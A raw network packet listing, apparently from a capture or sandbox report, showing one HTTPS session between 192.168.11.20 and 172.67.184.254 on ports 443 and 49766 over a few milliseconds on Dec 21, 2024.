Dec 21, 2024 19:24:49.621517897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.621866941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.621877909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.621891022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.622061968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622153044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622653008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.622667074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.622805119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622805119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622848034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622848034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.622859955 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.622946024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623220921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.623236895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.623385906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623385906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623395920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.623433113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623532057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623753071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.623766899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.623893976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623893976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.623939991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.624083042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.624093056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.624275923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.624293089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.624402046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.624412060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.624479055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.624593973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.624891043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.624905109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.625052929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625052929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625097036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625097036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625102997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.625149012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625195026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625411034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.625427008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.625555038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625555038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625560045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.625603914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625603914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.625725031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626000881 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626014948 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626144886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626144886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626193047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626204967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626241922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626241922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626288891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626451015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626466990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626663923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626663923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.626673937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.626760960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627008915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627021074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627132893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627132893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627146959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627181053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627226114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627227068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627326965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627512932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627526999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627650023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627650023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627696991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627696991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627702951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.627746105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627794027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.627979994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628058910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628108978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.628117085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628248930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.628251076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628258944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628418922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.628832102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.628845930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.629054070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.629261971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.629343033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.629395008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.629407883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.629609108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.629856110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.629873037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630155087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630155087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630155087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630155087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630168915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630393028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630408049 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630422115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630580902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630717039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630727053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630863905 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630937099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630948067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.630959988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.630996943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631097078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631097078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631479979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.631494999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.631669044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631669044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631680965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.631714106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631766081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631823063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.631838083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.631860971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.631872892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632020950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632020950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632067919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632117987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632332087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632344007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632565975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632579088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632642031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632719040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.632786036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632798910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.632914066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633018970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633028030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.633161068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633292913 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.633306980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.633435011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633435011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633481979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633487940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.633531094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633616924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633797884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.633832932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.633846045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634345055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.634358883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634371042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634556055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634644032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.634658098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634773016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.634804964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634826899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.634928942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635085106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635092020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.635281086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635303020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.635415077 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.635437012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635437012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635485888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.635495901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.635605097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636094093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636116028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636219025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636295080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636295080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636312008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636385918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636462927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636569977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636593103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636724949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636724949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636770964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636782885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.636821032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636821032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.636918068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637084007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637104988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637270927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637270927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637294054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637304068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637362957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637362957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637437105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637609959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637631893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637753010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637753010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637799025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637806892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.637896061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.637943983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638099909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638120890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638339996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638339996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638350964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638473034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638559103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638571978 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638633966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638681889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638731003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638854980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638876915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.638986111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.638986111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639035940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639040947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639085054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639133930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639230967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639502048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639523983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639636040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639636040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639734983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639734983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639743090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639780998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639780998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639862061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639931917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.639987946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639987946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.639997959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.640037060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640085936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640130997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640228987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640398979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.640420914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.640546083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640593052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640593052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640599012 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.640645981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.640690088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641354084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641376972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641534090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641534090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641545057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641585112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641679049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641757965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641777992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641896963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.641905069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.641952991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.642108917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.642144918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.642303944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.642303944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645032883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645044088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.645051956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.645268917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645355940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645355940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645368099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.645458937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645458937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645507097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645607948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645607948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645618916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.645703077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645703077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645703077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645714998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.645801067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645801067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645852089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645852089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645899057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645899057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.645947933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.646045923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.646338940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.646358967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.646553993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.646564007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.646681070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.646759033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.647711992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.647730112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.648034096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.648098946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.648107052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.648251057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.648756027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.648756027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.648766041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.648803949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.648803949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.648998022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649169922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649189949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649321079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649321079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649369001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649377108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649418116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649418116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649566889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649640083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649657965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649775028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649867058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649867058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.649874926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.649969101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.650867939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.650886059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.651035070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.651035070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.651082039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.651087999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.651143074 CET	49766	443	192.168.11.20	172.67.184.254
